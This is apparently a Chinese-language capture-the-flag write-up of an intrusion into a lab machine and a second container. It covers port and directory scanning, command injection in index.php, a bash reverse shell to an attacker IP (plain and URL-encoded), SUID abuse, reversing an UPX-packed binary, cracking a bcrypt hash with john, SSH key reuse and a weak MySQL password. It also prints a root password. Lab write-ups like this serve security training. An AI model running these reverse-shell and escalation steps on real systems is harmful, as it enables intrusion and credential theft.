0x01 靶机信息
0x02 Write-Up
2.1 主机扫描
目标机IP:192.168.181.159
使用nmap工具扫描
nmap -sS -sV -Pn -sC -p- 192.168.181.159
-sS 隐蔽扫描,-sV 详细版本扫描,-Pn 禁Ping,-sC 默认漏扫扫描脚本 -p- 所有端口
目标机开放了ssh,http服务和EIP协议端口
2.2 访问http服务
访问主页是默认页面
2.2.1 获取网站目录信息
使用dirsearch工具扫描目录
dirsearch -u http://192.168.181.159/ -w /usr/share/dirb/wordlists/common.txt
-u 指定url -w 指定字典文件
扫描出index.php和info.php
访问index.php,发现返回内容像是执行了ls的命令
查看源码,提示“Where is the path” ,可能存在命令注入
2.2.2 Wfuzz 模糊查询
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "192.168.181.159/index.php?FUZZ=id" --hh 329
-c 高亮显示,-w 指定字典,-u 指定url --hh 忽悠指定响应字符
查询到关键字path
测试命令执行成功
2.2.3 反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.181.136/6666 0>&1'
反弹语句
将语句url编码
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.181.136%2F6666%200%3E%261%27
在攻击机上开启侦听端口
nc -nvlp 6666
执行语句
反弹成功
查找SUID文件
find / -perm -u=s -type f 2>/dev/null
发现一个crypt可执行文件
执行无显示
查询用户,发现用户mike
cat /etc/passwd
发现1cryptupx文件,执行结果和crypt文件一致
crypt对应翻译是加密的意思
2.2.4 逆向代码信息
使用xxd命令查看文件内容
xxd -ps /home/mike/1cryptupx
-p:从终端处打印出文件的前16个16进制位,-s:从给定的地址处开始转换
将文件中的二进制码转换为十六进制
将十六进制码复制进HxD,导出还原1cryptupx
2.2.4.1 使用Detect It Easy工具扫描
(根据文件名提示,可能使用upx打包)
使用Detect It Easy工具扫描文件,确定使用upx打包
2.2.4.2 使用UPX Tool+工具脱壳
https://www.wmzhe.com/soft-69553.html
(工具下载)
2.2.4.3 使用ida工具打开
读取到这段代码,当我们的值为
"$2b$15$TXl.yuAF49958vsn1dqPfeR9YpyBuWAZrm/dTG5vuG6m3kJkMXWm6"
会执行/bash/bash
2.2.4.4 利用John破解hash
echo '$2b$15$TXl.yuAF49958vsn1dqPfeR9YpyBuWAZrm/dTG5vuG6m3kJkMXWm6' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
利用rockyou文件爆破hash
爆破出值为mike,执行./1cryptupx mike
发现还在www-data用户
因为我们的文件是mike用户和组拥有的
我们使用之前那个SUID文件crypt,成功获取root权限
2.3 发现主机2
在root目录下并没有发现flag,联想到信息收集时扫描出的EIP协议(它是一种用于虚拟网络中实现弹性IP地址分配的协议)
我们查看本地网络,拥有两个IP(192和172),说明我们在容器中,还存在其他容器
回到开头路径发现的info.php文件,可以发现使用了lxd容器
2.3.1 使用ping探测存活IP
for i in {1..254} ;do (ping 172.16.20.$i -c 1 -w 5 >/dev/null && echo "172.16.20.$i" &) ;done
-c 1:这告诉`ping`只发送一个ICMP回显请求。
-w 5:设置超时为5秒。如果在这个时间内没有收到响应,`ping`命令就会超时。
&:后台执行
发下目标机器:172.16.20.6
整理host1发现mike目录下有ssh密钥,发现是属于目标机的
ssh [email]mike@172.16.20.6[/email] -i id_rsa
-i 使用密钥登录
登录后收集信息,发现有mysql服务
netstat -tunlp
使用弱密码password成功登录
成功得到了root的密码,bjsig4868fgjjeog
2.3.2 获得flag
登录root,解压mike压缩包,获得flag